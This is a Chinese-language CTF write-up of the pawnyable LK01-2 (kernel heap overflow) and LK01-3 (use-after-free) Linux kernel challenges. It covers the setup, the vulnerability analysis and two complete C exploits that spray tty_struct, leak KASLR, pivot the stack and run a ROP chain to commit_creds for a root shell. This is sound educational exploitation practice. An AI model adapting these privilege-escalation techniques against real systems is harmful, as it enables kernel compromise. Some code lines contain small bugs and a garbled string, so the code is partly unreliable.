2025-03第二周:pawnyable LK01-2 & LK01-3
LK01-2
基本信息
内核版本 5.15.0
run.sh
#!/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \ -no-reboot \ -cpu qemu64,+smap,+smep \ -smp 1 \ -monitor /dev/null \ -initrd rootfs.cpio \ -net nic,model=virtio \ -net user
保护全开
init
#!/bin/sh mdev -s mount -t proc none /proc mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx stty -opost echo 2 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict insmod /root/vuln.ko mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0 echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" echo "[ Holstein v2 (KL01-2) - Pawnyable ]" setsid cttyhack setuidgid 1337 sh umount /proc poweroff -d 0 -f
逆向分析
module_initialize
注册了一个杂项设备 holsteinmodule_open
申请了一块0x400的内存module_read
module_write
module_close
UAFmodule_cleanup
卸载设备
漏洞利用
没有对size进行任何限制,存在内核堆溢出
SLUB 的特性决定了只有大小相同的对象才会从同一个 kmem_cache 区域分配,0x400的大小,那么我的想法是对 tty_struct 进行堆喷射,泄露内核基址后劫持 tty_ops 函数表
劫持 ioctl 函数指针,断下来发现 r13 的值正好是 &tty_struct
这是个好gadget,能把rdx赋值给rsp
栈劫持到 fake_ops 上走krop即可
EXP
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
#define RDI 0xffffffff810d748d + koff
#define RDX_RSP_PP 0xffffffff813a478a + koff
size_t koff;
size_t init_cred=0xffffffff81e37760;
size_t commit_creds=0xffffffff810744b0;
size_t prepare_kernel_cred=0xffffffff81074650;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81800e10;
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg){
printf("\033[1;31m[!] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
/* to run the exp on the specific core only */
void bindCore(int core)
{
cpu_set_t cpu_set;
puts("[*] set cpu affinity");
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
static void getRootShell(void){
if (!getuid()){
puts("\033[1;31;37m[*] <WIN>\033[0m");
system("/bin/sh");
}
else{
puts("\033[1;31m[x] <Get Root Failed>\033[0m");
}
}
int main(int argc, char *argv[], char *envp[]){
saveStatus();
int fd = open("/dev/holstein",O_RDWR);
if (fd<0) errExit("DEV Opened Failed");
int tty_fds[0x100];
for (int i=0; i<=0x100; i++){
tty_fds[i]=open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (tty_fds[i]<0){
printf("[x] tty Opened Failed, Num: %d\n",tty_fds[i]);
}
}
char buf[0x500];
read(fd, buf, 0x440);
size_t ops = *(size_t *)&buf[0x418];
size_t koff = ops-0xffffffff81c38880;
printf("[+] leak = 0x%lx\n", ops);
printf("[+] koff = 0x%lx\n", koff);
size_t leakheap = *(size_t *)&buf[0x438];
size_t fake_ops = leakheap-0x438;
printf("[+] leak2 = 0x%lx\n", leakheap);
printf("[+] fake_ops = 0x%lx\n", fake_ops);
*(size_t *)&buf[0x418]=fake_ops;
*(size_t *)&buf[0x60]=(size_t)RDX_RSP_PP;
size_t ropchain[0x10];
int i;
ropchain[i++]=RDI;
ropchain[i++]=init_cred+koff;
ropchain[i++]=commit_creds+koff;
ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+0x16+koff;
ropchain[i++]=0;
ropchain[i++]=0;
ropchain[i++]=(size_t)getRootShell;
ropchain[i++]=user_cs;
ropchain[i++]=user_rflags;
ropchain[i++]=user_rsp;
ropchain[i++]=user_ss;
memcpy(buf+0x100, ropchain, sizeof ropchain);
write(fd, buf, 0x440);
for (int i=0; i<=0x100; i++){
ioctl(tty_fds[i], 0, fake_ops+0x100-0x10);
}
//close(fd);
return 0;
}
LK01-3
基本信息
内核版本 5.16.14
run.sh
#!/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \ -no-reboot \ -cpu qemu64,+smap,+smep \ -smp 1 \ -monitor /dev/null \ -initrd rootfs.cpio \ -net nic,model=virtio \ -net user
init
#!/bin/sh mdev -s mount -t proc none /proc mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx stty -opost echo 2 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict insmod /root/vuln.ko mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0 echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" echo "[ Holstein v3 (KL01-3) - Pawnyable ]" setsid cttyhack setuidgid 1000 sh umount /proc poweroff -d 0 -f
逆向分析
module_initialize
注册了一个字符设备 holsteinmodule_cleanup
正常地卸载设备module_open
从 kmalloc_caches[10] 中取出 object ,2的十次方就是0x400module_read
内核读,但是限制了大小module_write
内核写,但是限制了大小module_close
释放对象没置空指针,存在UAF
漏洞利用
UAF,0x400 喷射 tty_struct 即可
为了绕过SMEP和SMAP,我们需要构造kROP。与堆溢出相似的地方略去不谈。值得注意的是,现在使用的区域是与tty_struct重叠的。tty_operations有很多未引用的变量在tty_struct中,当我们触发时,由于破坏了其它结构可能会引起意想不到的的错误。因此我们想让ropchain在一个单独的区域。
- 进行两次UAF,第一个UAF在tty_struct上写ropchain和布置函数表;第二个UAF改tty_struct.ops并触发。
放一张brant-ruan大佬的思路图:
EXP
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#define POP_RDI_RET 0xffffffff8114078a+koff;
#define PUSH_RDX_POP_RSP_POP_RBP_RET 0xffffffff8114fbea+koff;
#define MOV_RDI_RAX_REP_MOVSQ_RET 0xffffffff81638e9b+koff;
#define POP_RCX_RET 0xffffffff8150b6d6+koff;
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t prepare_kernel_cred=0xffffffff81072560;
size_t commit_creds=0xffffffff810723c0;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81800e10;
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus()
{
asm volatile(
"mov %0,cs;"
"mov %1,ss;"
"mov %2,rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
);
puts("[*] Success to saveStatus!");
}
static void errExit(char * msg)
{
printf("\0330xffffffff812f5003[1;31m[-] Error : %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
static void getRootShell(void)
{
if (!getuid())
{
puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
system("/bin/sh");
}
else
{
puts("\033[1;31m[-] <Get Root Error>\033[0m");
}
}
int main(int argc, char *argv[], char *envp[])
{
saveStatus();
int fd1=open("/dev/holstein", O_RDWR);
int fd2=open("/dev/holstein", O_RDWR);
if ((fd1 || fd2)<0)
{
printf("/dev/holstein Open Failed\n");
}
close(fd1);
int tty_fd1=open("/dev/ptmx", O_RDWR);//bss 0xffffffffc00023c0
if (tty_fd1>0)
{
printf("[+] /dev/ptmx Opened\n");
}
char buf[0x400];
read(fd2, buf, 0x100);
size_t koff=*(size_t *)&buf[0x18]-0xc39c60-0xffffffff81000000;
size_t heap=*(size_t *)&buf[0x38]-0x38;
printf("[*] koff => 0x%lx\n",koff);
printf("[*] ropchain => 0x%lx\n",heap);
int i=0;
size_t ropchain[0x40];
ropchain[i++]=POP_RDI_RET;
ropchain[i++]=0;
ropchain[i++]=prepare_kernel_cred+koff;
ropchain[i++]=POP_RCX_RET;
ropchain[i++]=0;
ropchain[i++]=MOV_RDI_RAX_REP_MOVSQ_RET;
ropchain[i++]=commit_creds+koff;
ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+koff+22;
ropchain[i++]=0xdeadbeef;
ropchain[i++]=0xdeadbeef;
ropchain[i++]=(size_t)&getRootShell;
ropchain[i++]=user_cs;
ropchain[i++]=user_rflags;
ropchain[i++]=user_rsp;
ropchain[i++]=user_ss;
ropchain[0x30]=PUSH_RDX_POP_RSP_POP_RBP_RET;
write(fd2, ropchain, sizeof(ropchain));
int fd3=open("/dev/holstein", O_RDWR);
int fd4=open("/dev/holstein", O_RDWR);
if ((fd3 || fd4)<0)
{
printf("/dev/holstein Open Failed\n");
}
close(fd3);
int tty_fd2=open("/dev/ptmx", O_RDWR);//bss 0xffffffffc00023c0
if (tty_fd2>0)
{
printf("[+] /dev/ptmx Opened\n");
}
*(size_t *)&buf[0x18]=heap+0x30*8-0xc*8;//ops_ioctl
write(fd4, buf, 0x20);
ioctl(tty_fd2, 0, heap-8);
return 0;
}